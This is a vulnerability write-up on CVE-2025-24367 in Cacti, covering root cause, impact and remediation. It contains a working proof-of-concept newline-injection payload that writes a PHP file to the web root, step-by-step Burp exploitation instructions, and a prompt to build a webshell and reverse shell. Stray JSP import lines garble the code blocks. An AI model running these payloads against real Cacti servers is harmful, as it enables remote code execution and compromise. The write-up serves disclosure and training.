CVE-2025-24367: From Graph Templates to Remote Code Execution

August 1, 2025

Overview

CVE-2025-24367 is a high-severity vulnerability (CVSS score of 8.7) affecting the popular open-source network monitoring and graphing tool, Cacti. Disclosed on January 27, 2025, this flaw allows an authenticated user to exploit graph creation and graph template features to inject malicious payloads, resulting in the creation of arbitrary PHP files within the application's web root. This can lead to remote code execution (RCE) on the underlying server, potentially compromising the entire system. The vulnerability stems from improper input sanitization in command-line arguments passed to the RRDTool binary, enabling attackers to break out of intended command boundaries. It affects Cacti versions prior to 1.2.29 and was responsibly disclosed via GitHub's security advisory process. In an era where network monitoring tools are ubiquitous in enterprise environments, this CVE underscores the risks of insufficient shell escaping in legacy command-line interfaces.

What is Cacti?

Cacti is an open-source, web-based network monitoring and graphing solution designed for performance and fault management. It leverages the Round Robin Database Tool (RRDTool) to store and visualize time-series data, such as CPU usage, bandwidth, or device uptime, collected via protocols like SNMP, ICMP, or scripts. Originally released in 2001, Cacti provides a flexible framework for IT administrators to create custom graphs, templates, and dashboards for monitoring hosts, networks, and applications.

At its core, Cacti operates as a PHP application running on a LAMP (Linux, Apache, MySQL, PHP) stack. Users interact via a web interface to define data sources (e.g., SNMP queries), graph templates, and hosts. The polling engine (via cron jobs) fetches data, stores it in RRD files, and generates graphs using RRDTool commands invoked from PHP. This makes Cacti lightweight and extensible but also exposes it to risks when user inputs influence external binary calls. With over a million downloads and widespread use in data centers, the tool's popularity amplifies the impact of vulnerabilities like CVE-2025-24367.

Root Cause Analysis

The root cause of CVE-2025-24367 lies in inadequate sanitization of user-supplied inputs used to construct command-line arguments for the RRDTool binary, specifically through a failure to neutralize newline characters (CRLF injection, classified under CWE-144: Improper Neutralization of Line Delimiters). Cacti's graph generation relies on dynamically building RRDTool command strings based on user-defined options in graph templates or during ad-hoc graph creation. These options, such as --right-axis-label, are appended to the base RRDTool graph command after being processed through a custom escaping function.

In the file lib/rrd.php, the rrd_function_process_graph_options() function handles these options. For instance, the code snippet below demonstrates how the --right-axis-label value is incorporated:

<%@ page import="java.io.*" %>
case 'right_axis_label':
    if (!empty($value)) {
        $graph_opts .= '--right-axis-label ' . cacti_escapeshellarg($value) . RRD_NL;
    }
    break;

Here, RRD_NL is a newline character (\n), and cacti_escapeshellarg() is invoked to sanitize $value. This function, defined in lib/functions.php, aims to mimic PHP's native escapeshellarg() but with platform-specific tweaks for Unix and Windows compatibility:

<%@ page import="java.io.*" %>
/**
 * mimics escapeshellarg, even for windows
 *
 * @param  $string 	- the string to be escaped
 * @param  $quote 	- true: do NOT remove quotes from result; false: do remove quotes
 *
 * @return	string	- the escaped [quoted|unquoted] string
 */
function cacti_escapeshellarg(string $string, bool $quote = true): string {
    global $config;

    if ($string == '') {
        return $string;
    }

    /* we must use an apostrophe to escape community names under Unix in case the user uses
    characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when
    you do this, but are perfectly happy with a quotation mark. */
    if ($config['cacti_server_os'] == 'unix') {
        $string = escapeshellarg($string);

        if ($quote) {
            return $string;
        } else {
            # remove first and last char
            return substr($string, 1, (strlen($string) - 2));
        }
    }
    // Windows handling omitted for brevity, but similarly relies on escapeshellarg or equivalent
}

While this effectively escapes shell metacharacters (e.g., ;, |, &, backticks) by wrapping the input in quotes and escaping internal quotes, it crucially does not strip or escape newline characters (\n or \r\n). PHP's escapeshellarg() and thus cacti_escapeshellarg() focus on preventing command injection via argument boundaries but overlook line delimiters that can terminate the current argument and start a new command line in the shell.

When an authenticated user (with graph creation privileges) supplies a malicious value containing encoded newlines (e.g., URL-encoded as %0A for \n), it gets injected into the RRDTool command. The shell interprets the newline as the end of the --right-axis-label argument, allowing the payload to execute as subsequent, independent RRDTool subcommands.

A proof-of-concept payload exploits this by chaining two RRDTool commands: first creating a dummy RRD file (my.rrd), then generating a "graph" in CSV format that embeds PHP code into a file named exploit.php in the web root. The raw payload (with leading/trailing newlines):

<%@ page import="java.io.*" %>
XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph exploit.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:

URL-encoded for web submission:

<%@ page import="java.io.*" %>
XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+exploit.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A

This results in a shell command like:

<%@ page import="java.io.*" %>
/usr/bin/rrdtool graph - \
--imgformat=SVG \
--start='1735903534' \
--end='1735903594' \
--pango-markup  \
--title='Local Linux Machine - Advanced Ping' \
--vertical-label='milliseconds' \
--slope-mode \
--base=1000 \
--height=200 \
--width=700 \
--units-exponent=1 \
--right-axis-label 'XXX
create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200
graph exploit.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:'

The newlines cause the shell to execute the create and graph commands separately. The graph command with -a CSV outputs data to exploit.php, but by injecting PHP tags into the LINE1 label, the CSV header becomes executable PHP: <?=phpinfo();?>. Accessing http://cacti-host/exploit.php then executes the code, dumping PHP configuration and enabling further exploitation.

This issue highlights a classic blind spot in shell escaping: focusing on intra-argument injections while neglecting inter-command separations via newlines.

Here are the exploitation steps with proof of concepts:

  • First navigate to the template → graph page and search for PING - Advanced Ping 
  • Open the PING - Advanced Ping and click on save while intercepting the request with burp.

  • Now inject the below payload into a vulnerable rrdtool switch, ie. --right-axis-label submit the request.
<%@ page import="java.io.*" %>
XXX%0Acreate+my.rrd+--step+300+DS%3Atemp%3AGAUGE%3A600%3A-273%3A5000+RRA%3AAVERAGE%3A0.5%3A1%3A1200%0Agraph+exploit.php+-s+now+-a+CSV+DEF%3Aout%3Dmy.rrd%3Atemp%3AAVERAGE+LINE1%3Aout%3A%3C%3F%3Dphpinfo%28%29%3B%3F%3E%0A

  • Now navigate to the main panel and go to Create → New Graph. Select Ping – Advanced Ping from the list, then click Create.

Note: It is necessary as you specified ping–advanced ping in the payload as part of the proof of concept (PoC)

  • Now visit the graph page on the top left button and then click on Local Linux Machine that will turn on the live graph view which eventually triggers the PoC.

  • Now go to http://target-website.com/exploit.php, and notice that it open the phpinfo page

Beyond phpinfo(), attackers can escalate by injecting a PHP webshell that executes arbitrary system commands. Those payloads can create a persistent backdoor in the server, enabling extraction of sensitive data like configuration files or network details, turning Cacti into an attack foothold. Worse, attackers can establish a reverse shell, connecting the server to a remote host and granting full interactive control, severely amplifying the impact by allowing real-time system manipulation or data exfiltration. Try to craft a URL-encoded payload for --right-axis-label to create a webshell that runs commands and finally obtain a reverse shell.

Impact

As a HIGH-severity issue requiring only low-privilege authentication (any user able to create graphs or templates), CVE-2025-24367 poses significant risks in multi-user Cacti deployments. Successful exploitation grants RCE as the web server user (often www-data or apache), allowing attackers to:

  • Execute arbitrary system commands, escalate privileges, or pivot to other services.
  • Deface the web application, steal sensitive monitoring data (e.g., SNMP credentials), or exfiltrate RRD files containing historical network metrics.
  • Deploy persistent backdoors, such as webshells in the web root, for long-term access.

In critical infrastructure like data centers or ISPs, this could disrupt monitoring, leading to undetected outages. The attack's stealth—leveraging legitimate graph features—makes detection challenging without logging RRDTool invocations. No public exploits were available at disclosure, but the provided PoC lowers the bar for skilled attackers.

Remediation

The vulnerability was patched in Cacti 1.2.29 by enhancing input sanitization to explicitly strip or escape newline characters in cacti_escapeshellarg() and related functions. 

Immediate Steps:

  1. Update Cacti: Upgrade to version 1.2.29 or later. Download from the official GitHub repository: https://github.com/Cacti/cacti/releases.
  2. Restrict Access: Limit graph/template creation to trusted admin users via role-based access control (RBAC) in Cacti's user management.
  3. Monitor Logs: Enable verbose logging for RRDTool commands and audit web server access logs for suspicious PHP files (e.g., .php with non-standard names).
  4. Workarounds (if patching is delayed): Disable graph creation for non-admins and validate inputs server-side with stricter regex (e.g., deny \n in graph options). Consider running Cacti in a containerized environment with restricted shell access.
  5. Scan for Exploits: Use tools like Nuclei or custom scripts to check for anomalous files in /var/www/html/ (or equivalent web root).

References:

https://github.com/Cacti/cacti/security/advisories/GHSA-fxrq-fr7h-9rqq

https://nvd.nist.gov/vuln/detail/CVE-2025-24367

https://blog.certcube.com/cacti-rrdtool-post-auth-argument-injection-cve-2025-24367/

⚡ Ready to try this CVE yourself?

Join the CVE Cipher Labs On
VantagePoint
Launch the fully isolated, one-click deployable lab and start practicing now ...
Join CVE Cipher Labs on VantagePoint